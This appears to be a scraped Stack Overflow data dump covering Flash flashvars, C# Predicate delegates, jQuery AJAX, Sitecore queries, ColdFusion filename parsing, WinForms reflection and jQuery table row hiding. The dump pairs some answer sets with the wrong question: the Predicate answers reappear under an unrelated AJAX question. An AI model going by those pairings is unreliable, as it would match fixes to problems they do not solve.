"https://Stackoverflow.com/users/26685/"
] |
Can someone tell me how i can change the .xml file that a flash movie loads using c#. ie: i would like an ActionScript variable that defines the location of the flash movie. I would like to be able to change this variable using c# if possible.
i dont really know how it would look, but something like:
```
<object xmlpath='" + myCSharpVar + "'" ...></object>
```
I just starting this, but my ultimate goal is to create a .swf movie that can load an xml file that specifies images, etc. However i want to use the same .swf file in multiple places and only have to change a ref to what xml file it uses - and my Flash/ActionScript skills are very rusty.
To clear it up a bit, in AS you can do something like:
```
loader.load( new URLRequest("IWantThisNameDynamic.xml") );
```
how can i define that xml file in my c# code?
|
I'm quite sure you cannot "create" your own attributes for the object tag. At least not without consulting with the w3c ;-)
Passing values to flash is done via the "flashvar"-param:
```
<object ...>
<param name="flashvars" value="&xmlpath=<path to xml>"/>
</object>
```
In the flash-movie you can now access the path to your xml via the "xmlpath"-variable.
|
215,144 |
<p>I wanted to derive a class from Predicate<IMyInterface>, but it appears as if Predicate<> is sealed. In my case I wanted to simply return the inverted (!) result of the designated function. I have other ways to accomplish the goal. My question is what might the MS designers have been thinking when deciding to seal Predicate<>?</p>
<p>Without much thought I came up with:
(a) simplified their testing, just a time vs cost trade off
(b) "no good" could come from deriving from Predicate<></p>
<p>What do you think?</p>
<p>Update: There are n predicates that are dynamically added to a list of Predicates during an initialization phase. Each is mutually exclusive (if Abc is added, NotAbc wont be added). I observed a pattern that looks like:</p>
<pre><code>bool Happy(IMyInterface I) {...}
bool NotHappy(IMyInterface I) { return !Happy(I); }
bool Hungry(IMyInterface I) {...}
bool NotHungry(IMyInterface I) { return !Hungry(I); }
bool Busy(IMyInterface I) {...}
bool NotBusy(IMyInterface I) { return !Busy(I); }
bool Smart(IMyInterface I) {...}
bool NotSmart(IMyInterface I) {...} //Not simply !Smart
</code></pre>
<p>Its not that I can't solve the problem, its that I wonder why I couldn't solve it a certain way.</p>
|
[
{
"answer_id": 215152,
"author": "Omer van Kloeten",
"author_id": 4979,
"author_profile": "https://Stackoverflow.com/users/4979",
"pm_score": 2,
"selected": false,
"text": "<p>Predicate is a delegate. You can not inherit from a delegate type.\nIf you want to get the inverted value, use the following:</p>\n\n<pre><code>Predicate<T> p;\nPredicate<T> inverted = t => !p(t);\n</code></pre>\n"
},
{
"answer_id": 215153,
"author": "Jon Skeet",
"author_id": 22656,
"author_profile": "https://Stackoverflow.com/users/22656",
"pm_score": 4,
"selected": false,
"text": "<p><code>Predicate<T></code> is a delegate type. You can never derive from delegates.</p>\n\n<p>To be honest, it doesn't sound like inheritance is really appropriate here anyway - just write a method which returns an inverse of the original. It's as simple as this:</p>\n\n<pre><code>public static Predicate<T> Invert<T>(Predicate<T> original)\n{\n return t => !original(t);\n}\n</code></pre>\n"
},
{
"answer_id": 217786,
"author": "pero",
"author_id": 21645,
"author_profile": "https://Stackoverflow.com/users/21645",
"pm_score": 2,
"selected": false,
"text": "<p>The functionality of a delegate is to handle a list of type safe method pointers. C# designers have decided that there is nothing to add to this functionality and there is no reason to change the behavior to delegates. </p>\n\n<p>So, Jon is right, inheritance is not appropriate here. </p>\n\n<p>Delegates can point to a list of methods. We add to this list with += operator or with <a href=\"http://msdn.microsoft.com/en-us/library/system.delegate.combine.aspx\" rel=\"nofollow noreferrer\">Delegate.Combine</a>. If the signature of the method is not void then the result of the last invoked method is returned (if a recall correctly).</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215144",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27068/"
] |
I wanted to derive a class from Predicate<IMyInterface>, but it appears as if Predicate<> is sealed. In my case I wanted to simply return the inverted (!) result of the designated function. I have other ways to accomplish the goal. My question is what might the MS designers have been thinking when deciding to seal Predicate<>?
Without much thought I came up with:
(a) simplified their testing, just a time vs cost trade off
(b) "no good" could come from deriving from Predicate<>
What do you think?
Update: There are n predicates that are dynamically added to a list of Predicates during an initialization phase. Each is mutually exclusive (if Abc is added, NotAbc wont be added). I observed a pattern that looks like:
```
bool Happy(IMyInterface I) {...}
bool NotHappy(IMyInterface I) { return !Happy(I); }
bool Hungry(IMyInterface I) {...}
bool NotHungry(IMyInterface I) { return !Hungry(I); }
bool Busy(IMyInterface I) {...}
bool NotBusy(IMyInterface I) { return !Busy(I); }
bool Smart(IMyInterface I) {...}
bool NotSmart(IMyInterface I) {...} //Not simply !Smart
```
Its not that I can't solve the problem, its that I wonder why I couldn't solve it a certain way.
|
`Predicate<T>` is a delegate type. You can never derive from delegates.
To be honest, it doesn't sound like inheritance is really appropriate here anyway - just write a method which returns an inverse of the original. It's as simple as this:
```
public static Predicate<T> Invert<T>(Predicate<T> original)
{
return t => !original(t);
}
```
|
215,160 |
<p>I have the following javascript:</p>
<pre><code>$.ajax({
type: "POST",
dataType: "json",
url: "/Home/Submit",
data: {
email: strEmail,
message: strMessage
},
success: function(result) {
//alert('here');
alert(result.message);
},
error: function(error) {
alert(error);
}
});
</code></pre>
<p>This makes a call to this function:<BR></p>
<pre><code>public JsonResult Submit(string Email, string Message) {
return Json(new {
message = "yep"
});
}
</code></pre>
<p>This works fine in debug mode on the inbuilt webserver.</p>
<p>However if I go to the virtual dir directly it does not and hits the error bit. I attached to the process and the code behind never gets hit. </p>
<p>I am using Vista. </p>
<p>Additionally how do you get the error description in the bit where it says alert(error);</p>
<p>Thanks,</p>
<p>Alex</p>
|
[
{
"answer_id": 215152,
"author": "Omer van Kloeten",
"author_id": 4979,
"author_profile": "https://Stackoverflow.com/users/4979",
"pm_score": 2,
"selected": false,
"text": "<p>Predicate is a delegate. You can not inherit from a delegate type.\nIf you want to get the inverted value, use the following:</p>\n\n<pre><code>Predicate<T> p;\nPredicate<T> inverted = t => !p(t);\n</code></pre>\n"
},
{
"answer_id": 215153,
"author": "Jon Skeet",
"author_id": 22656,
"author_profile": "https://Stackoverflow.com/users/22656",
"pm_score": 4,
"selected": false,
"text": "<p><code>Predicate<T></code> is a delegate type. You can never derive from delegates.</p>\n\n<p>To be honest, it doesn't sound like inheritance is really appropriate here anyway - just write a method which returns an inverse of the original. It's as simple as this:</p>\n\n<pre><code>public static Predicate<T> Invert<T>(Predicate<T> original)\n{\n return t => !original(t);\n}\n</code></pre>\n"
},
{
"answer_id": 217786,
"author": "pero",
"author_id": 21645,
"author_profile": "https://Stackoverflow.com/users/21645",
"pm_score": 2,
"selected": false,
"text": "<p>The functionality of a delegate is to handle a list of type safe method pointers. C# designers have decided that there is nothing to add to this functionality and there is no reason to change the behavior to delegates. </p>\n\n<p>So, Jon is right, inheritance is not appropriate here. </p>\n\n<p>Delegates can point to a list of methods. We add to this list with += operator or with <a href=\"http://msdn.microsoft.com/en-us/library/system.delegate.combine.aspx\" rel=\"nofollow noreferrer\">Delegate.Combine</a>. If the signature of the method is not void then the result of the last invoked method is returned (if a recall correctly).</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215160",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23066/"
] |
I have the following javascript:
```
$.ajax({
type: "POST",
dataType: "json",
url: "/Home/Submit",
data: {
email: strEmail,
message: strMessage
},
success: function(result) {
//alert('here');
alert(result.message);
},
error: function(error) {
alert(error);
}
});
```
This makes a call to this function:
```
public JsonResult Submit(string Email, string Message) {
return Json(new {
message = "yep"
});
}
```
This works fine in debug mode on the inbuilt webserver.
However if I go to the virtual dir directly it does not and hits the error bit. I attached to the process and the code behind never gets hit.
I am using Vista.
Additionally how do you get the error description in the bit where it says alert(error);
Thanks,
Alex
|
`Predicate<T>` is a delegate type. You can never derive from delegates.
To be honest, it doesn't sound like inheritance is really appropriate here anyway - just write a method which returns an inverse of the original. It's as simple as this:
```
public static Predicate<T> Invert<T>(Predicate<T> original)
{
return t => !original(t);
}
```
|
215,164 |
<p>A general architecture question in Sitecore 6...</p>
<p>Let’s say we have a situation where we have 10,000 items implementing a “Press Release” template. These items are stored in Sitecore at <code>/sitecore/content/home/press/*</code>. On our homepage, we’d like to display some information concerning the 3 most recent press releases.</p>
<p>We’re looking to construct something equivalent to SQL’s:</p>
<pre><code>SELECT TOP 3 * FROM PressReleases ORDER BY ReleaseDate
</code></pre>
<p>Reading through the Sitecore query documentation, it sounds like the majority of this query must be handled in our C# application. Something like:</p>
<pre><code>public Item[] GetRecentPressReleases()
{
string query = "/sitecore/content/home/press/*";
Item[] items = Sitecore.Context.Database.SelectItems(query);
Array.Sort(items, new PressReleaseDateComparer());
return items.Take(3).ToArray();
}
</code></pre>
<p>It would seem that loading 10,000 Sitecore items from the database into memory and then sorting them every time our homepage is hit would be unacceptable from a performance perspective.</p>
<p>Is there a more efficient way to express this query? Or should I be focused on output caching and/or pre-calculating?</p>
|
[
{
"answer_id": 224678,
"author": "Alexey Rusakov",
"author_id": 1103549,
"author_profile": "https://Stackoverflow.com/users/1103549",
"pm_score": 4,
"selected": true,
"text": "<p>Sitecore Query (or a fast query) does not support sorting or TOP constructs, so these things have to be expressed in code. </p>\n\n<p>Focusing on caching is a good thing. Using standard Sitecore rendering caching is a simplest approach, I don't think you need anything more complex than that in this case.</p>\n\n<p>It helps to understand that <a href=\"http://alexeyrusakov.com/sitecoreblog/2005/12/15/Understanding+Query+Performance.aspx\" rel=\"nofollow noreferrer\">Sitecore query can be resolved either at the SQL or API levels</a>, which does affect the performance and can sometimes be used to your advantage.</p>\n\n<p><a href=\"http://sdn.sitecore.net/upload/sdn5/developer/using%20sitecore%20fast%20query/using%20sitecore%20fast%20query.pdf\" rel=\"nofollow noreferrer\">Fast query</a> is built into Sitecore 6 and makes all queries execute at SQL level, dramatically increasing the performance. It also doesn't support sorting and TOP at the moment, but we're considering how this can be added.</p>\n"
},
{
"answer_id": 521198,
"author": "herskinduk",
"author_id": 63411,
"author_profile": "https://Stackoverflow.com/users/63411",
"pm_score": 2,
"selected": false,
"text": "<p>One solution to the \"10 latest news\" problem is to use Lucene.</p>\n\n<p>This is <a href=\"http://usoniandream.blogspot.com/2007/10/tutorial-advanced-lucenenet-usage.html\" rel=\"nofollow noreferrer\">one way of doing</a> it.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215164",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7194/"
] |
A general architecture question in Sitecore 6...
Let’s say we have a situation where we have 10,000 items implementing a “Press Release” template. These items are stored in Sitecore at `/sitecore/content/home/press/*`. On our homepage, we’d like to display some information concerning the 3 most recent press releases.
We’re looking to construct something equivalent to SQL’s:
```
SELECT TOP 3 * FROM PressReleases ORDER BY ReleaseDate
```
Reading through the Sitecore query documentation, it sounds like the majority of this query must be handled in our C# application. Something like:
```
public Item[] GetRecentPressReleases()
{
string query = "/sitecore/content/home/press/*";
Item[] items = Sitecore.Context.Database.SelectItems(query);
Array.Sort(items, new PressReleaseDateComparer());
return items.Take(3).ToArray();
}
```
It would seem that loading 10,000 Sitecore items from the database into memory and then sorting them every time our homepage is hit would be unacceptable from a performance perspective.
Is there a more efficient way to express this query? Or should I be focused on output caching and/or pre-calculating?
|
Sitecore Query (or a fast query) does not support sorting or TOP constructs, so these things have to be expressed in code.
Focusing on caching is a good thing. Using standard Sitecore rendering caching is a simplest approach, I don't think you need anything more complex than that in this case.
It helps to understand that [Sitecore query can be resolved either at the SQL or API levels](http://alexeyrusakov.com/sitecoreblog/2005/12/15/Understanding+Query+Performance.aspx), which does affect the performance and can sometimes be used to your advantage.
[Fast query](http://sdn.sitecore.net/upload/sdn5/developer/using%20sitecore%20fast%20query/using%20sitecore%20fast%20query.pdf) is built into Sitecore 6 and makes all queries execute at SQL level, dramatically increasing the performance. It also doesn't support sorting and TOP at the moment, but we're considering how this can be added.
|
215,183 |
<p>For example, I want just the "filename" of a file in a field. Say I have myimage.jpg I only want to display "myimage" How do I get just that? </p>
|
[
{
"answer_id": 215244,
"author": "Tomalak",
"author_id": 18771,
"author_profile": "https://Stackoverflow.com/users/18771",
"pm_score": 4,
"selected": true,
"text": "<p>Use the List functions to your advantage.</p>\n\n<pre><code><cfset FileName = ListDeleteAt(FileFullName, ListLen(FileFullName, \".\"), \".\")>\n</code></pre>\n\n<p>Be aware that this only works for file names that actually <em>have</em> a file extension (that is defined as the thing after the last dot). To make it safer, the following is better:</p>\n\n<pre><code><cfset ExtensionIndex = ListLen(FileFullName, \".\")>\n<cfif ExtensionIndex gt 1>\n <cfset FileExt = ListGetAt(ExtensionIndex , \".\")>\n <cfset FileName = ListDeleteAt(FileFullName, ExtensionIndex, \".\")>\n<cfelse>\n <cfset FileExt = \"\">\n <cfset FileName = FileFullName>\n</cfif>\n</code></pre>\n\n<p>To complicate things a bit further: There may be files that start with a dot. There may be file names that contain many adjacent dots. List functions return wrong results for them, as they ignore empty list elements. There may also be files that have dots, but no extension. These can only be handled if you provide an extension white list: <code>ListFindNoCase(FileExt, \"doc,xls,ppt,jpg\")</code>. If you want to account for all of this, you probably need to resign to a reguar expression:</p>\n\n<pre><code><cfset FileExtRe = \"(?:\\.(?:doc|xls|ppt|jpg))?$\">\n<cfset FileName = REReplaceNoCase(FileFullName, FileExtRe, \"\")>\n</code></pre>\n\n<p>To split file name from path, ColdFusion provides distinct functions that also handle platform differences: <code>GetFileFromPath()</code> and <code>GetDirectoryFromPath()</code></p>\n"
},
{
"answer_id": 215258,
"author": "Guy C",
"author_id": 4045,
"author_profile": "https://Stackoverflow.com/users/4045",
"pm_score": 1,
"selected": false,
"text": "<p>So you first need to find the position of the last fullstop (there could be more than one fullstop in the full filename). I don't think Coldfusion has a find function that works backwards, so reverse the string first:</p>\n\n<pre><code><cfset Position = Find(\".\", Reverse(FullFileName))>\n</code></pre>\n\n<p>If that returns zero then you don't have a fullstop in the file name, so handle appropriately. Else ...</p>\n\n<pre><code><cfset Filename = Left(FullFileName, Len(FullFileName) - Position>\n</code></pre>\n"
},
{
"answer_id": 215406,
"author": "Peter Boughton",
"author_id": 9360,
"author_profile": "https://Stackoverflow.com/users/9360",
"pm_score": 2,
"selected": false,
"text": "<p>The current accepted solution will not work for a file that does not contain an extension.</p>\n\n<p>You can solve this by using a regular expression to strip the extension only if it exists:</p>\n\n<pre><code><cfset FileName = rereplace( FullFileName , '\\.[^.]+$' , '' ) />\n</code></pre>\n\n<p><br/>\nThis might still not be perfect - you might have a file that has a . but it isn't considered an extension - you can solve this either by using a list of known extensions to strip, or by limiting how long an extension you will accept (e.g. upto 5):</p>\n\n<pre><code><cfset FileName = rereplace( FullFileName , '\\.(jpg|png|gif|bmp)$' , '' ) />\n<cfset FileName = rereplace( FullFileName , '\\.[^.]{1,5}$' , '' ) />\n</code></pre>\n"
},
{
"answer_id": 216547,
"author": "ale",
"author_id": 21960,
"author_profile": "https://Stackoverflow.com/users/21960",
"pm_score": 3,
"selected": false,
"text": "<p>Tomalak's answer is good, but this can get tricky. Given a file named \"mydoc.ver1.doc\" (a valid Windows file name) which is the filename and which is the extension? What if there is a filepath?</p>\n\n<p>You can still leverage the list functions to your advantage, however, even in these scenarios.</p>\n\n<p>You can easily parse out the file from the path with </p>\n\n<pre><code>fullFileName=listLast(fieldname,\"\\/\")\n</code></pre>\n\n<p>If you assume the filename is everything before the dot, then </p>\n\n<pre><code>theFileName=listFirst(fullFileName,\".\") \n</code></pre>\n\n<p>will work.</p>\n\n<p>If you want to ensure that you get everything but what's after the last period, then a little trickery is needed, but not much. There is not a <code>listAllButLast()</code> function (although such a thing might exist on CFLIB.org) but there are two ways I can think of to get what you're after.</p>\n\n<pre><code>fileName=reverse(listRest(reverse(fullFileName),\".\"))\n</code></pre>\n\n<p>or</p>\n\n<pre><code>fileName=listDeleteAt(fullFileName,listLen(fullFileName,\".\"),\".\")\n</code></pre>\n\n<p>As with Tomalak's suggestion, however, this will break down on a filename that lacks an extension. Wrapping this in a <code><cfif listLen(fullFileName,\".\") GT 1></code> will account for that.</p>\n"
},
{
"answer_id": 26514784,
"author": "Tristan Lee",
"author_id": 3980391,
"author_profile": "https://Stackoverflow.com/users/3980391",
"pm_score": 1,
"selected": false,
"text": "<p>As of ColdFusion 9+ (perhaps earlier, but I can't verify), the <a href=\"http://commons.apache.org/proper/commons-io/javadocs/api-1.4/org/apache/commons/io/FilenameUtils.html%20%22Apache%20Commons\" rel=\"nofollow\">Apache Commons</a> library was included. Within that is <code>org.apache.commons.io.FilenameUtils</code>. You can utilize methods within the cut down on the amount of operations needed in CF to get the same (or similar) results.</p>\n\n<pre><code>filepath = \"some/dir/archive.tar.gz\";\noUtils = createObject(\"java\", \"org.apache.commons.io.FilenameUtils\");\n\nwriteDump(oUtils.getFullPath(filepath)); // \"some/dir/\"\nwriteDump(oUtils.getName(filepath)); // \"archive.tar.gz\"\nwriteDump(oUtils.getBaseName(filepath)); // \"archive.tar\"\nwriteDump(oUtils.getExtension(filepath)); // \"gz\"\nwriteDump(oUtils.getPath(filepath)); // \"some/dir/\"\nwriteDump(oUtils.getPathNoEndSeparator(filepath)); // \"some/dir\"\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215183",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26121/"
] |
For example, I want just the "filename" of a file in a field. Say I have myimage.jpg I only want to display "myimage" How do I get just that?
|
Use the List functions to your advantage.
```
<cfset FileName = ListDeleteAt(FileFullName, ListLen(FileFullName, "."), ".")>
```
Be aware that this only works for file names that actually *have* a file extension (that is defined as the thing after the last dot). To make it safer, the following is better:
```
<cfset ExtensionIndex = ListLen(FileFullName, ".")>
<cfif ExtensionIndex gt 1>
<cfset FileExt = ListGetAt(ExtensionIndex , ".")>
<cfset FileName = ListDeleteAt(FileFullName, ExtensionIndex, ".")>
<cfelse>
<cfset FileExt = "">
<cfset FileName = FileFullName>
</cfif>
```
To complicate things a bit further: There may be files that start with a dot. There may be file names that contain many adjacent dots. List functions return wrong results for them, as they ignore empty list elements. There may also be files that have dots, but no extension. These can only be handled if you provide an extension white list: `ListFindNoCase(FileExt, "doc,xls,ppt,jpg")`. If you want to account for all of this, you probably need to resign to a reguar expression:
```
<cfset FileExtRe = "(?:\.(?:doc|xls|ppt|jpg))?$">
<cfset FileName = REReplaceNoCase(FileFullName, FileExtRe, "")>
```
To split file name from path, ColdFusion provides distinct functions that also handle platform differences: `GetFileFromPath()` and `GetDirectoryFromPath()`
|
215,213 |
<p>I'm trying this:</p>
<pre><code>Type ThreadContextType = typeof(Application).GetNestedType("ThreadContext", System.Reflection.BindingFlags.NonPublic);
MethodInfo FDoIdleMi = ThreadContextType.GetMethod("FDoIdle", BindingFlags.NonPublic |
BindingFlags.Instance, null, new Type[] { typeof(Int32) }, null);
</code></pre>
<p>ThreadContextType is ok but FDoIdleMi is null. I know there is something wrong in the GetMethod call because FDoIdle comes from the UnsafeNativeMethods.IMsoComponent interface.</p>
<p>How to do that? Thanks.</p>
|
[
{
"answer_id": 215230,
"author": "Charlie",
"author_id": 18529,
"author_profile": "https://Stackoverflow.com/users/18529",
"pm_score": 3,
"selected": true,
"text": "<p>You need to fully-qualify the method name, because they're using explicit interface implementation:</p>\n\n<pre><code>Type type = typeof( Application ).GetNestedType( \"ThreadContext\",\n BindingFlags.NonPublic );\nMethodInfo doIdle = type.GetMethod(\n \"System.Windows.Forms.UnsafeNativeMethods.IMsoComponent.FDoIdle\",\n BindingFlags.NonPublic | BindingFlags.Instance );\n</code></pre>\n\n<p>For the record, reflecting on non-public members is generally bad practice, but you probably already know that.</p>\n\n<p><strong>EDIT</strong> In the spirit of teaching a person to fish, I figured this out by calling <code>GetMethods(...)</code> on the type object, and examining the returned array to see how the methods were named. Sure enough, the names included the complete namespace specification.</p>\n"
},
{
"answer_id": 215237,
"author": "Jon Skeet",
"author_id": 22656,
"author_profile": "https://Stackoverflow.com/users/22656",
"pm_score": 1,
"selected": false,
"text": "<p>It's hacky, but this works:</p>\n\n<pre><code>using System;\nusing System.Linq;\nusing System.Reflection;\nusing System.Windows.Forms;\n\npublic class Test \n{\n static void Main()\n {\n Type clazz = typeof(Application).GetNestedType(\"ThreadContext\", BindingFlags.NonPublic);\n Type iface = typeof(Form).Assembly.GetType(\"System.Windows.Forms.UnsafeNativeMethods+IMsoComponent\");\n InterfaceMapping map = clazz.GetInterfaceMap(iface);\n MethodInfo method = map.TargetMethods.Where(m => m.Name.EndsWith(\".FDoIdle\")).Single();\n Console.WriteLine(method.Name);\n }\n}\n</code></pre>\n\n<p>There are more surefire ways of matching the target method, but this happens to work this time :)</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215213",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29244/"
] |
I'm trying this:
```
Type ThreadContextType = typeof(Application).GetNestedType("ThreadContext", System.Reflection.BindingFlags.NonPublic);
MethodInfo FDoIdleMi = ThreadContextType.GetMethod("FDoIdle", BindingFlags.NonPublic |
BindingFlags.Instance, null, new Type[] { typeof(Int32) }, null);
```
ThreadContextType is ok but FDoIdleMi is null. I know there is something wrong in the GetMethod call because FDoIdle comes from the UnsafeNativeMethods.IMsoComponent interface.
How to do that? Thanks.
|
You need to fully-qualify the method name, because they're using explicit interface implementation:
```
Type type = typeof( Application ).GetNestedType( "ThreadContext",
BindingFlags.NonPublic );
MethodInfo doIdle = type.GetMethod(
"System.Windows.Forms.UnsafeNativeMethods.IMsoComponent.FDoIdle",
BindingFlags.NonPublic | BindingFlags.Instance );
```
For the record, reflecting on non-public members is generally bad practice, but you probably already know that.
**EDIT** In the spirit of teaching a person to fish, I figured this out by calling `GetMethods(...)` on the type object, and examining the returned array to see how the methods were named. Sure enough, the names included the complete namespace specification.
|
215,219 |
<p>I have a really long 3 column table. I would like to </p>
<pre><code><table>
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>Start</td><td>Hiding</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>End</td><td>Hiding</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
</table>
</code></pre>
<p>This is the result I'm trying to obtain using jQuery.</p>
<pre><code>Column1 Column2
Column1 Column2
...Show Full Table...
Column1 Column2
Column1 Column2
</code></pre>
<p>I would like to use jQuery's show/hide feature to minimize the table but still show part of the top and bottom rows. The middle rows should be replace with text like "Show Full Table" and when clicked will expand to show the full table from start to finish.</p>
<p>What is the best way to do this in jQuery?</p>
<p>BTW I've already tried adding a class "Table_Middle" to some of the rows but it doesn't hide it completely the space it occupied is still there and I don't have the text to give the user a way to expand the table fully.</p>
<p><strong>[EDIT] Added Working Example HTML inspired by Parand's posted answer</strong></p>
<p><strong><em>The example below is a complete working example, you don't even need to download jquery. Just paste into a blank HTML file.</em></strong></p>
<p><em>It degrades nicely to show only the full table if Javascript is turned off. If Javascript is on then it hides the middle table rows and adds the show/hide links.</em></p>
<pre><code><html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Example Show/Hide Middle rows of a table using jQuery</title>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript">
$(document).ready(function() {
$("#HiddenRowsNotice").html("<tr><td colspan='2'> <a href='#'>>> some rows hidden <<</a></td></tr>");
$("#ShowHide").html("<tr><td colspan='2'><a href='#'>show/hide middle rows</a></td></tr>");
$("#HiddenRows").hide();
$('#ShowHide,#HiddenRowsNotice').click( function() {
$('#HiddenRows').toggle();
$('#HiddenRowsNotice').toggle();
});
});
</script>
</head>
<body>
<table>
<tbody id="ShowHide"></tbody>
<tr><th>Month Name</th><th>Month</th></tr>
<tbody>
<tr><td>Jan</td><td>1</td></tr>
</tbody>
<tbody id="HiddenRowsNotice"></tbody>
<tbody id="HiddenRows">
<tr><td>Feb</td><td>2</td></tr>
<tr><td>Mar</td><td>3</td></tr>
<tr><td>Apr</td><td>4</td></tr>
</tbody>
<tbody>
<tr><td>May</td><td>5</td></tr>
</tbody>
</table>
</body>
</html>
</code></pre>
<p>[EDIT] Link my <a href="http://www.developerbuzz.com/2008/10/use-jquery-to-show-and-hide-part-of.html" rel="nofollow noreferrer">blog post</a> and working example.</p>
|
[
{
"answer_id": 215227,
"author": "Greg",
"author_id": 24181,
"author_profile": "https://Stackoverflow.com/users/24181",
"pm_score": 2,
"selected": false,
"text": "<p>The easiest way is to add a <code><tbody></code> in to group the rows and toggle that between <code>none</code> and <code>table-row-group</code> (catch exceptions and set it to <code>block</code> for IE). Not sure about making it specific to jquery but that's the \"normal\" way of doing things.</p>\n"
},
{
"answer_id": 215231,
"author": "Parand",
"author_id": 13055,
"author_profile": "https://Stackoverflow.com/users/13055",
"pm_score": 7,
"selected": true,
"text": "<p>Something like this could work:</p>\n\n<pre><code><table>\n <tbody>\n <tr><td>Column1</td><td>Column2</td></tr>\n <tr><td>Column1</td><td>Column2</td></tr>\n <tr class=\"Show_Rows\"><td>Start</td><td>Hiding</td></tr>\n </tbody>\n <tbody class=\"Table_Middle\" style=\"display:none\">\n <tr><td>Column1</td><td>Column2</td></tr>\n <tr><td>Column1</td><td>Column2</td></tr>\n <tr><td>Column1</td><td>Column2</td></tr>\n </tbody>\n <tbody>\n <tr class=\"Show_Rows\"><td>End</td><td>Hiding</td></tr>\n <tr><td>Column1</td><td>Column2</td></tr>\n <tr><td>Column1</td><td>Column2</td></tr>\n </tbody>\n</table>\n\n\n$('#something').click( function() {\n $('.Table_Middle').hide();\n $('.Show_Rows').show();\n});\n\n$('.Show_Rows').click( function() { \n $('.Show_Rows').hide();\n $('.Table_Middle').show();\n});\n</code></pre>\n"
},
{
"answer_id": 215238,
"author": "SpoonMeiser",
"author_id": 1577190,
"author_profile": "https://Stackoverflow.com/users/1577190",
"pm_score": 1,
"selected": false,
"text": "<p>I'd probably do it like this:</p>\n\n<pre><code><table>\n <thead>\n <tr>\n <th>Col1</th>\n <th>Col2</th>\n <th>Col3</th>\n </tr>\n </thead>\n <tbody>\n <tr>\n <td>data1</td>\n <td>data1</td>\n <td>data1</td>\n </tr>\n ...\n </tbody>\n <tbody id=\"hidden-rows\">\n <tr>\n <td colspan=\"3\">\n <a href=\"#\" onclick=\"$('#hidden-rows').hide();$('#extra-rows').show();\">\n Show hidden rows\n </a>\n </td>\n </tr>\n </tbody>\n <tbody id=\"extra-rows\" style=\"display: none;\">\n <tr>\n <td>data1</td>\n <td>data1</td>\n <td>data1</td>\n </tr>\n ...\n </tbody>\n <tbody>\n <tr>\n <td>data1</td>\n <td>data1</td>\n <td>data1</td>\n </tr>\n ...\n </tbody>\n</table>\n</code></pre>\n\n<p>It's not a great method, because it doesn't degrade nicely.</p>\n\n<p>To get it to degrade nicely, you'd have to have all the rows shown initially, and then hide them with your jQuery document ready function, and also create the row with the link in.</p>\n\n<p>Also, your method of giving the rows to hide a particular class should also work. The jQuery would look something like this:</p>\n\n<pre><code>$(document).ready(function() {\n $('tr.Table_Middle').hide();\n});\n</code></pre>\n\n<p>You'd still need to create the row with the link to unhide them though.</p>\n"
},
{
"answer_id": 215243,
"author": "Dan Herbert",
"author_id": 392,
"author_profile": "https://Stackoverflow.com/users/392",
"pm_score": 2,
"selected": false,
"text": "<p>If you give your middle <code><tr /></code> tags the \"<code>Table_Middle</code>\" class it makes it much easier to do. Then it only takes a few lines of jQuery. One to add the \"Show Full Table\" row, and another to add a click listener for that row. Make sure to change the <code>colspan</code> attribute's \"X\" value to the number of columns in your table.</p>\n\n<pre><code> // jQuery chaining is useful here\n $(\".Table_Middle\").hide()\n .eq(0)\n .before('<tr colspan=\"X\" class=\"showFull\">Show Full Table<tr/>');\n\n$(\".showFull\").click(function() {\n $(this).toggle();\n $(\".Table_Middle\").toggle();\n});\n</code></pre>\n\n<p>This is useful because it degrades nicely and is accessible across lots of browsers/devices. If JavaScript is turned off, or CSS is disabled (or any other scenario that could cause this code to not be supported), there is no \"show full table\" row.</p>\n"
},
{
"answer_id": 217315,
"author": "nickf",
"author_id": 9021,
"author_profile": "https://Stackoverflow.com/users/9021",
"pm_score": 2,
"selected": false,
"text": "<p>Here's a solution which doesn't require any extra markup and it degrades nicely.</p>\n\n<pre><code><table id=\"myTable\">\n <tbody>\n <tr><td>Cell</td><td>Cell</td></tr>\n <tr><td>Cell</td><td>Cell</td></tr>\n <tr><td>Cell</td><td>Cell</td></tr>\n <tr><td>Cell</td><td>Cell</td></tr>\n <tr><td>Cell</td><td>Cell</td></tr>\n </tbody>\n</table>\n</code></pre>\n\n<p>and the jQuery... I've hardcoded in a few things here (like the table identifier, number of rows to show, etc. These could be put into a <code>class</code> attribute on the table if you wanted it to be more reusable. (eg: <code><table class=\"hidey_2\"></code>)</p>\n\n<pre><code>var showTopAndBottom = 2,\n minRows = 4,\n $rows = $('#myTable tr').length),\n length = $rows.length\n;\nif (length > minRows) {\n $rows\n .slice(showTopAndBottom, length - showTopAndBottom)\n .hide()\n ;\n $rows\n .eq(showTopAndBottom - 1)\n .after(\n // this colspan could be worked out by counting the cells in another row\n $(\"<tr><td colspan=\\\"2\\\">Show</td></tr>\").click(function() {\n $(this)\n .remove()\n .nextAll()\n .show()\n ;\n })\n )\n ;\n}\n</code></pre>\n"
},
{
"answer_id": 1615615,
"author": "Elzo Valugi",
"author_id": 95353,
"author_profile": "https://Stackoverflow.com/users/95353",
"pm_score": 2,
"selected": false,
"text": "<p>Try to use slice() method:</p>\n\n<pre><code>$(\"#table tr\").slice(1, 4).hide();\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215219",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3747/"
] |
I have a really long 3 column table. I would like to
```
<table>
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>Start</td><td>Hiding</td></tr>
